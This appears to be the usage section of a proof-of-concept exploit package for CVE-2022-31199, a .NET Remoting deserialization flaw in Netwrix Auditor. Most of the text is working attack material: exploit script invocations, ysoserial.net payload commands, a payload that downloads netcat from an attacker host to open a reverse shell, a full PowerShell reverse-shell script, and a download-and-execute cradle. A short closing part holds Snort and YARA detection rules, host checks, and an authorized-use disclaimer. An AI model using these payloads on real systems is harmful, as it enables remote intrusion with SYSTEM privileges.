python3 exploit.py --target 192.168.1.100 --check

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

python3 exploit.py --target 10.10.10.100 --check

# Step 1: Generate payload
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# Step 2: Execute exploit
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

# Custom port
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# Custom endpoint
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

--target    : Target IP address or hostname (required)
--port      : Target port (default: 9004)
--endpoint  : .NET Remoting endpoint name (default: UAVRServer)
--check     : Only check vulnerability, don't exploit
--payload   : Base64 encoded payload from ysoserial.net

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

# Simple command execution
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# Write output to file
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# Custom port
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

-Target     : Target IP address or hostname (required)
-Port       : Target port (default: 9004)
-Command    : Command to execute on target (default: "whoami")
-CheckOnly  : Only check vulnerability, don't exploit

# Check system information
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

nc -lvnp 4444

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

python3 -m http.server 8000

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

# Test connectivity
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# Execute with lease mode (bypasses some protections)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# Execute with object reference
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

1. Attacker connects to TCP port 9004
2. Identifies .NET Remoting service (UAVRServer endpoint)
3. Generates malicious serialized payload using ysoserial.net
4. Sends payload via .NET Remoting protocol
5. Target deserializes object using BinaryFormatter
6. Gadget chain executes arbitrary code
7. Code runs with NT AUTHORITY\SYSTEM privileges

.NET Remoting Protocol Structure:
┌─────────────────────────────────────┐
│ Preamble (8 bytes)                  │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ Headers                             │
├─────────────────────────────────────┤
│ URI (UAVRServer)                    │
├─────────────────────────────────────┤
│ Serialized Object (BinaryFormatter) │
└─────────────────────────────────────┘

alert tcp any any -> any 9004 (
    msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt"; 
    content:"|00 01 00 00 01 00 00 00|"; 
    depth:8; 
    content:"System.Runtime.Remoting"; 
    distance:0; 
    sid:1000001; 
    rev:1;
)

# Check if port 9004 is listening
netstat -ano | findstr :9004

# Identify process
tasklist /FI "PID eq [PID]"

rule CVE_2022_31199_Netwrix_Exploit {
    meta:
        description = "Detects CVE-2022-31199 exploitation attempt"
        author = "Security Researcher"
        date = "2024-11-17"
        severity = "critical"
        
    strings:
        $header = { 00 01 00 00 01 00 00 00 }
        $remoting1 = "System.Runtime.Remoting" ascii
        $remoting2 = "UAVRServer" ascii
        $remoting3 = "Netwrix" ascii
        $serialize = "BinaryFormatter" ascii
        $gadget1 = "TypeConfuseDelegate" ascii
        $gadget2 = "ObjectDataProvider" ascii
        
    condition:
        $header at 0 and 
        ($remoting1 or $remoting2 or $remoting3) and 
        $serialize and
        any of ($gadget*)
}

# Check Netwrix Auditor version
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version

# Check if port is exposed
Test-NetConnection -ComputerName localhost -Port 9004

# Verify firewall rules
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}

IMPORTANT: These Proof of Concept (POC) exploits are provided for:
- Educational purposes
- Authorized security testing
- Vulnerability research
- Defensive security operations

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.

By using these tools, you agree to:
1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, and federal laws
3. Use the tools responsibly and ethically
4. Not use for malicious purposes

The author(s) assume no liability for misuse of these tools.
Use at your own risk.